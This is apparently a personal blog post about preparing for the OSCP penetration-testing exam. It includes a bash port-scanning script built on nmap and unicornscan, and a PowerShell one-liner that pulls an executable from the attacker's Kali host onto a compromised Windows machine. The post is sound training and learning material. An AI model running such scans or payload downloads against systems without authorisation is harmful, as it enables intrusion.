OSCP Journey Part 9

Day: -44
PDF: 90%
Videos: 95%
Boxes: 7
Networks:1

So seven boxes down currently have low priv on the 8th – have spent approx 4 days getting low priv thanks to a sneak port choice. Took a break yesterday from the box to work on an initial scan script that would pick up something like that in future. I would have a lot more boxes completed if I could use metasploit! But I can’t rely on it in the exam so I’m not using it in the lab (other than mutli/handler and using the payloads listed in my previous post).

#!/bin/bash
if [[ -z "$1" ]]; then
        echo "USAGE: ./scanner.sh [IP ADDRESS}"
        exit 1
fi
ip=$1

echo ---------HAVE YOU BOUNCED THE BOX??----------------
echo FAST NMAP SCAN OF $ip 100 PORTS
nmap $ip -F -oN quick$ip

echo TCP NMAP SCAN ALL PORTS OF $ip
echo if this takes longer than 10 mins re run scan. Possibly restart box.
nmap $ip -p- -sT -oN tcpall$ip -T4 

echo UNICORN SCAN OF ALL PORTS 
unicornscan $ip:a > uniall$ip
echo 
echo EXTRACTING PORTS FROM quick$ip and tcpall$ip
cat quick$ip tcpall$ip | grep open | cut -d" " -f1 | sort -u
echo
echo VIEWING uniall$ip
cat uniall$ip

Let me know if you use it/find it useful/suggest ways to improve it.

Even though the Nmap book says -sS scans are quicker, I’ve found this not to be the case, -sT scans have been quicker for me.

The script gives you a quick scan of the 100 most common ports and outputs that so you can begin working on a box, ie its found a web-server, while the -sT can is running go view the web page etc. The -sT scan run a -T4 has been the most reliable in testing, -T5 has missed ports and T3 (which is the normal scan when you run nmap) is a bit too slow – though very reliable. The unicorn scan is a quick check of the other 2 scans, as its always good to use a different tool to verify findings.

Now I’m sure there are ways to improve this script as its very basic but so far its been quite solid for me. The only thing I would say is that I couldn’t figure out how to grep the output of unicornscan.

Some interesting nmap scan stats about scans I’ve put together

So really think about what scan you want to run on a network because as you can see if scanning a whole range you will definitely affect the network with the load you are putting on.

My current struggle is Windows priv esc. I’ve used windows exploit suggester but every exploit I try doesn’t work. I’m obviously not doing something correctly, or the Offsec admins have manually patched the vulnerability its suggesting.

Nice script to put files on a windows machine with powershell

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://kaliboxip/AFILE.exe','C:\Users\USERYOURLOGGEDINAS\Desktop\AFILE.exe')"

To those reading this who have not started or are thinking about it. Seriously take the time to explore hackthebox and vulnhub and really think about the tools your using and the exploits you’ve used. Refine your method, get very comfortable with nmap, especially the scripting engine. Learn to get stuck and fed up and want to give up – but keep at it until you pwn that box. Document what you have learned from the box – don’t think ‘its okay i’ll remember that’. You won’t – believe me. There as been quite a few times I’ve forgotten something and popped on to where I’ve documented it on this site as a reminder.

Lastly, I’ve booked the exam date….and accepted my fate of not passing on this attempt. I will eventually pass this exam I have set my mind to that, I don’t care how long it will take me. 

I hope this blog helps someone who has read other blogs and how they have pwned all the boxes in 2 days (exaggeration) and passed first time.